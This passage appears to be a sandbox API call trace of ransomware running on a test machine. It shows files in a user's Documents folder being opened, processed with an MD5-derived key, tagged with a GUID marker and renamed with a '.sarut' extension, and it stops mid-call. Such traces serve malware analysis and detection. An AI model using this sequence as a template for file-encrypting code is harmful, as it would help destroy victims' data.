RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0268.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0268.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0268.235] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.235] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.235] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.235] PathFindFileNameW (pszPath="") returned="" [0268.235] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0268.235] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.235] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c0e82d0, ftCreationTime.dwHighDateTime=0x1d4d501, ftLastAccessTime.dwLowDateTime=0x18a91640, ftLastAccessTime.dwHighDateTime=0x1d4cb00, ftLastWriteTime.dwLowDateTime=0x18a91640, ftLastWriteTime.dwHighDateTime=0x1d4cb00, nFileSizeHigh=0x0, nFileSizeLow=0xa1b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-G9kfPr.doc", cAlternateFileName="")) returned 1 [0268.235] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-G9kfPr.doc") returned=".doc" [0268.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-G9kfPr.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-g9kfpr.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.238] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=41399) returned 1 [0268.238] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.240] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa191, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.240] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.242] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa1b7, lpOverlapped=0x0) returned 1 [0268.243] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.243] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.243] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.243] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.244] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.244] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.244] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.244] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.244] GetLastError () returned 0x0 [0268.244] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.244] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.245] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa1b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.245] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.245] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.245] CloseHandle (hObject=0x5c4) returned 1 [0268.248] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-G9kfPr.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-g9kfpr.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-G9kfPr.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-g9kfpr.doc.sarut")) returned 1 [0268.250] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609f1830, ftCreationTime.dwHighDateTime=0x1d4ab8b, ftLastAccessTime.dwLowDateTime=0xd51fb470, ftLastAccessTime.dwHighDateTime=0x1d4dec7, ftLastWriteTime.dwLowDateTime=0xd51fb470, ftLastWriteTime.dwHighDateTime=0x1d4dec7, nFileSizeHigh=0x0, nFileSizeLow=0x15119, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15jZzXpvGAgxYF0U.docx", cAlternateFileName="15JZZX~1.DOC")) returned 1 [0268.252] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15jZzXpvGAgxYF0U.docx") returned=".docx" [0268.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15jZzXpvGAgxYF0U.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\15jzzxpvgagxyf0u.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.254] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=86297) returned 1 [0268.254] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.257] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x150f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.257] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.259] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x15119, lpOverlapped=0x0) returned 1 [0268.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.260] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.261] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.261] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.261] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.261] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.261] GetLastError () returned 0x0 [0268.261] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.261] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.262] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15119, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.262] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.262] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.262] CloseHandle (hObject=0x5c4) returned 1 [0268.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15jZzXpvGAgxYF0U.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\15jzzxpvgagxyf0u.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15jZzXpvGAgxYF0U.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\15jzzxpvgagxyf0u.docx.sarut")) returned 1 [0268.270] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce7680f0, ftCreationTime.dwHighDateTime=0x1d4e4c5, ftLastAccessTime.dwLowDateTime=0x27892fb0, ftLastAccessTime.dwHighDateTime=0x1d49f27, ftLastWriteTime.dwLowDateTime=0x27892fb0, ftLastWriteTime.dwHighDateTime=0x1d49f27, nFileSizeHigh=0x0, nFileSizeLow=0x2355, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="29xL.docx", cAlternateFileName="29XL~1.DOC")) returned 1 [0268.270] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\29xL.docx") returned=".docx" [0268.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\29xL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\29xl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.272] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=9045) returned 1 [0268.272] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.274] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x232f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.274] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.276] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.276] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2355, lpOverlapped=0x0) returned 1 [0268.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.277] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.278] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.278] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.278] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.278] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.278] GetLastError () returned 0x0 [0268.278] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.278] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.279] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.279] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.279] CloseHandle (hObject=0x5c4) returned 1 [0268.283] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\29xL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\29xl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\29xL.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\29xl.docx.sarut")) returned 1 [0268.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.283] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12e778b0, ftCreationTime.dwHighDateTime=0x1d4fca5, ftLastAccessTime.dwLowDateTime=0x497f6130, ftLastAccessTime.dwHighDateTime=0x1d4eab2, ftLastWriteTime.dwLowDateTime=0x497f6130, ftLastWriteTime.dwHighDateTime=0x1d4eab2, nFileSizeHigh=0x0, nFileSizeLow=0x159de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5BThH.xlsx", cAlternateFileName="5BTHH~1.XLS")) returned 1 [0268.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5BThH.xlsx") returned=".xlsx" [0268.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5BThH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5bthh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.285] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=88542) returned 1 [0268.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.288] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x159b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.288] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.289] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.289] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x159de, lpOverlapped=0x0) returned 1 [0268.291] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.291] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.291] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.291] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.292] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.292] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.292] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.292] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.292] GetLastError () returned 0x0 [0268.292] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.292] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x159e0) returned 0x311d708 [0268.293] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.293] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x159d9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x159d9, lpOverlapped=0x0) returned 1 [0268.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.294] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x159de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 